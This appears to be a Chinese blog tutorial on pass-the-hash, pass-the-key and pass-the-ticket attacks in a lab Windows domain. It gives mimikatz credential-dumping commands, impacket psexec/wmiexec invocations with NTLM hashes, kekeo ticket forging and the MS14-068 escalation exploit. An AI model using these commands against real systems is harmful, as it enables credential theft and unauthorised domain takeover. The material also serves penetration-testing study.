哈希传递PTH、密钥传递PTK、票据传递PTT

概述:

PTH(pass the hash) : 利用 LM 或 NTLM 的值。

PTK(pass the key) : 利用的 ekeys 、aes256。

PTT(pass the ticket): 利用的票据凭证 TGT 。

Mimikatz用到的命令:

privilege::debug            #提升权限
sekurlsa::logonpasswords    #抓取密码信息
sekurlsa::msv                #抓取LM、NTLM、值
sekurlsa::ekeys                #抓取aes值

1、哈希传递攻击(PTH)

简介:
哈希传递(Pass The Hash)攻击,该方法通过找到与账户相关的密码散列值来进行攻击,在Windows Server 2012 R2之前使用到的密码散列值是LM、NTLM,在Windows Server 2012 R2 及其版本之后使用到的密码散列值是NTLM Hash。

在域环境中,用户登录计算机时使用的大概都是域账号,并且许多计算机在安装时会使用相同的本地管理员账户密码,因此如果计算机的本地管理员账户和密码相同的话,攻击者就能使用哈希传递攻击的方法登录内网中的其他计算机。

条件:
管理员的密码hash值,并且目标机器开放445端口(SMB服务)。

攻击:

1.1 第一种:使用mimikatz进行哈希传递攻击

缺点:需要建立IPC连接。

1.1.1 使用mimikatz获得 域用户名、域名、hash值(LM、NTLM)、域内主机的ip地址

sekurlsa::msv

1.1.2 mimikatz中运行命令sekurlsa::pth

sekurlsa::pth /user:域用户名 /domain:域名 /ntlm:域用户名的NTLM值
sekurlsa::pth /user:administrator /domain:god /ntlm:8c535a2d84c3b21059d667639bb89db5

1.1.3 运行完后打开一个cmd窗口,在cmd窗口中 与任意一个域内ip地址进行ipc连接

net use \\192.168.52.138	#建立IPC连接
dir \\192.168.52.138\c$		#查看连接域内ip的c盘文件夹

下面使用impacket工具包 进行哈希传递攻击,微软官方的Pstools工具包的工具是只能使用明文进行利用。

impacket工具包下载地址:https://github.com/SecureAuthCorp/impacket

1.2 第二种:使用psexec进行哈希传递攻击

优点:不需要建立IPC连接

1.2.1 使用psexec进行哈希传递攻击所需要的参数和mimikatz中进行哈希传递攻击的参数一样

psexec.exe -hashes :NTLM值 域名/域用户@域内ip地址
psexec.exe -hashes :8c535a2d84c3b21059d667639bb89db5 god/administrator@192.168.52.138

1.3 第三种:使用smbexec进行哈希传递攻击

1.3.1 使用smbexec进行哈希传递攻击所需要的参数和psexec中进行哈希传递攻击的参数一样

smbexec.exe -hashes :NTLM值 域名/域用户@域内ip地址
smbexec.exe -hashes :8c535a2d84c3b21059d667639bb89db5 god/administrator@192.168.52.138

以上三种哈希传递攻击都是使用到445端口(SMB服务)而没有用到135端口,接下来演示445端口配合135端口进行哈希传递攻击。

1.4 第四种:使用wmiexec进行哈希传递攻击

缺点:一次只能执行一次命令,而上面三种都是可以执行多次命令。

wmiexec.exe -hashes :NTLM值 域名/域用户@域内ip地址 "命令"
wmiexec.exe -hashes :8c535a2d84c3b21059d667639bb89db5 god/administrator@192.168.52.138 "ipconfig"

进行哈希传递攻击的时 注意:

  • dir命令后面要使用主机名,不能用IP,否则报错
  • 使用mimikatz进行哈希传递要具有本地管理员权限

2、密钥传递攻击(PTK)

条件:

密钥传递攻击只能在打了kb2871997补丁的机器,才能使任意用户都可以连接,采用 aes256 连接。

攻击:

2.1 使用mimikatz进行密钥传递攻击

2.1.1 mimikatz获取aes值

sekurlsa::ekeys

  

2.1.2 mimikatz中运行命令sekurlsa::pth 打开cmd窗口

sekurlsa::pth /user:域用户名 /domain:域名 /aes256:aes256值 hash
sekurlsa::pth /user:administrator /domain:god /aes256:bd25b5ae78c10e3fcda9693cd31027d70383063a1d8c2b835c6fa1c416b79669

 

 实际上,PTK传递比PTH传递用的少。因为PTK传递需要一个前提条件:需要域控安装KB2871997补丁的Win7/2008r2/8/2012(2019尝试也可以,并没有装补丁)。 

3、票据传递攻击(PTT) 

简介:
不需要管理员权限就可以获得远程系统的访问权限,Pass The Ticket 票据传递(PTT攻击)实现【未授权访问】。

攻击:

3.1 第一种:使用mimikatz进行票据传递攻击

因为当前主机之前肯定与其他主机连接过,所以本地应该生成了一些票据,我们可以导出这些票据,然后再导入票据、利用。该方法类似于cookie欺骗。

缺点

票据是有有效期的,一般为10小时,所以如果当前主机10h之内连接过域控的话,我们可以利用该票据,但是如果超过10h,就没法利用了。

3.1.1 导出票据: 

sekurlsa::tickets /export

 

 3.1.2 删除票据,排除干扰

klist purge

 

 3.1.3 导入票据

kerberos::ptt 票据文件
kerberos::pttC:\Users\Administrator\Desktop\mimikatz_trunk\x64\[0;3e7]-2-0-60a00000-STU1$@krbtgt-GOD.ORG.kirbi

 

3.1.4 利用

dir \\192.168.52.138\c$

3.2 第二种:利用工具kekeo 进行票据传递攻击

3.2.1 生成票据,导入票据

kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c" //生成票据
kerberos::ptt TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi //导入票据

3.2.2 klist 查看凭证

3.2.3 利用

dir \192.168.3.21\c$
dir \\OWA2010CN-God.god.org\c$

3.3 利用漏洞ms14-068

 3.3.1 whoami/user 查看当前sid

可知 mary就是域内一个普通用户

3.3.2 清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造

klist //查看凭证列表
klist purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造

3.3.3 利用MS14-068生成TGT数据

ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
MS14-068.exe -u mary@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 -p admin!@#45

3.3.4 将票据注入到内存中

./mimikatz.exe
kerberos::ptc TGT_mary@god.org.ccache
exit

3.3.5 klist 查看凭证列表。注入成功。

3.3.6 利用

dir \192.168.3.21\c$
dir \\OWA2010CN-God.god.org\c$

4、总结

PTH和PTK需要管理员权限,其中PTK要求更为苛刻,PTK需要打了kb2871997补丁才能够使用,因此一般情况下不考虑使用PTK。

而PTT利用漏洞MS14-068可以直接从普通域成员提权到域管理员权限。因此一般应该首先考虑使用MS14-068进行横向移动。

posted @ 2023-03-27 20:26  hello_bao  阅读(1300)  评论(1)    收藏  举报